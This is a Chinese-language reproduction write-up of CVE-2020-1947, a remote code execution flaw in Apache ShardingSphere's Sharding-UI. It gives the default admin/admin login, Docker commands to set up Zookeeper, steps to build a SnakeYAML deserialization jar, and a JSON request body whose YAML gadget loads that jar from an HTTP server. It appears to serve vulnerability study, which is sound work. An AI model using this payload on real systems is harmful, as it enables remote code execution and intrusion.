CVE-2020-1947 Apache ShardingSphere远程代码执行漏-漏洞文库小世界-安全文库-NGC660安全实验室

CVE-2020-1947 Apache ShardingSphere远程代码执行漏

CVE-2020-1947 Apache ShardingSphere远程代码执行漏洞

漏洞影响

Apache ShardingSphere < 4.0.1

复现过程

Sharding-UI的默认密码为admin/admin

图片[1]-CVE-2020-1947 Apache ShardingSphere远程代码执行漏-漏洞文库小世界-安全文库-NGC660安全实验室

顺带一提,在conf/application.properties中存储了WEB端的端口和账号密码。

图片[2]-CVE-2020-1947 Apache ShardingSphere远程代码执行漏-漏洞文库小世界-安全文库-NGC660安全实验室

安装Zookeeper

要想成功利用,需要先在Sharding-UI中添加一个注册中心,否则在后续利用中会提示No activated registry center!,所以需要搭建一个Zookeeper。 这里直接使用docker搭建Zookeeper,并且将2181端口映射出来到本地的2181端口。

docker pull zookeeper
docker run --privileged=true -d --name zookeeper --publish 2181:2181  -d zookeeper:latest

配置registry-center

在Sharding-UI的registry-center模块配置Zookeeper的地址。

图片[3]-CVE-2020-1947 Apache ShardingSphere远程代码执行漏-漏洞文库小世界-安全文库-NGC660安全实验室

成功连接即可。

图片[4]-CVE-2020-1947 Apache ShardingSphere远程代码执行漏-漏洞文库小世界-安全文库-NGC660安全实验室

生成payload

使用SnakeYAML反序列化小工具: https://github.com/ianxtianxt/yaml-payload

修改src/artsploit/AwesomeScriptEngineFactory.java文件,设置为弹出计算器。

图片[5]-CVE-2020-1947 Apache ShardingSphere远程代码执行漏-漏洞文库小世界-安全文库-NGC660安全实验室

编译生成jar包:

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

然后使用python本地搭建HTTPServer,等待连接。

python -m SimpleHTTPServer 90

代码执行

在web端的Rule Config——>Add Schema处加入YAML代码并提交。

图片[6]-CVE-2020-1947 Apache ShardingSphere远程代码执行漏-漏洞文库小世界-安全文库-NGC660安全实验室

数据包正文:

{"name":"test","ruleConfiguration":"encryptors:\n    <encryptor-name>:\n      type: MD5\n      props:","dataSourceConfiguration":"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:90/yaml-payload.jar\"]]]]"}

发送即可成功弹出计算器。

图片[7]-CVE-2020-1947 Apache ShardingSphere远程代码执行漏-漏洞文库小世界-安全文库-NGC660安全实验室

请登录后发表评论

    请登录后查看回复内容